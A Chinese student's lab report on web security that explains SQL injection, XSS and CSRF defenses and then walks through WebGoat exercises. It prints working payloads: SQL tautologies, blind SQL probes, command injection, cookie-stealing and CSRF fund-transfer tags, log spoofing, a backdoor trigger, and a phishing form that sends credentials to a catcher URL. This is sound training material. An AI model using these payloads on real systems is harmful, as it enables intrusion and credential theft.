20145232韩文浩 《网络对抗技术》 Web安全基础实践
问题回答
SQL注入攻击原理?如何防御?
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
XSS攻击的原理?如何防御?
原理:在Web页面里插入恶意Script代码,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,一个看似安全的网页却有可能盗取用户的cookies,或者登录名密码等信息。
- 防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
CSRF攻击原理?如何防御?
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
WebGoat安装
- WebGoat简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:
java -jar webgoat-container-7.0.1-war-exec.jar
运行WebGoat - WebGoat使用8080端口,所以在浏览器上访问
localhost:8080/WebGoat
,进入WebGoat
SQL字符串注入(String SQL Injection)
这是一个表单让使用者查询他的信用卡号,使用SQL注入让所有的信用卡号都看得见
现在要做的是让这个语句中的WHERE这个条件语句失效
a or 1
不管a是真或假最后输出都是1,只有构造这样一个永真式“1”,那么不管前面的WHERE是否成立都能够执行!
所以,可以构造语句'or 1='1
,将输入进的语句变成两条语句,为永真。
第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分成为两条语句!
页面刷新了一下看不到效果了,如下图。
命令注入(Command Injection)
捕获到数据
send to Repeater,更改URL处为AccessControlMatrix.help"&&ifconfig"
盲数字注入(Blind Numeric SQL Injection)
目标是得到一个存放在pins表中值pin的内容,行号是一个int型的数据cc_number=1111222233334444,
先确定pin值的范围,输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
有效的,说明pin值大于100
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
无效的,说明pin值小于5000
最后得到结果
反射型XSS(Reflected XSS Attacks)
用burpsuite可以发现,UpdateCart Purchase
均以post
提交数据,但在Enter your credit card number:
以及Enter your three digit access code:
处的值均被post原样返回,所以可以构造js语言
<SCRIPT>alert(document.cookie);</SCRIPT>
得到cookies
储存型XSS(Stored XSS Attakcs)
一个关于去除你曾经输入信息的练习。应该是要输入一个HTML标签在Message中。
相当于是给用户发一个信息,用户在打开这个信息时信息里的js代码被应用,然后得到用户cookies。
Cross Site Request Forgery(CSRF)
要写一个URL诱使其他用户点击,从而触发CSRF攻击事件。
本题中大致意思是要给别人发个邮件,其中有个包含XSRF页面恶意请求的图像,但是这个图像要隐藏。
根据题目要求我们伪装这样一条语句:
<img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=6000"/>
CSRF Prompt By-Pass
这次邮件包含两个恶意请求:一个是转钱的金额,另一个是确认转账
点击20145232
就完成了转账和转账确认!
Log Spoofing
在这里输入的用户名会被追加到日志文件中,在User Name文本框中输入lxm%0d%0aLogin Succeeded for username: admin使用户名为“admin”的用户在日志中显示“成功登录”
Database Backdoors
先输一个101,得到了该用户的信息
可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:101; update employee set salary=10000
,成功把该用户的工资涨到了10000:
创建一个后门,把表中所有的邮箱和用户ID都设为自己的:
101;CREATE TRIGGER HWHBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='new@foxmail.com' WHERE userid = NEW.userid
Phishing with XSS
这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>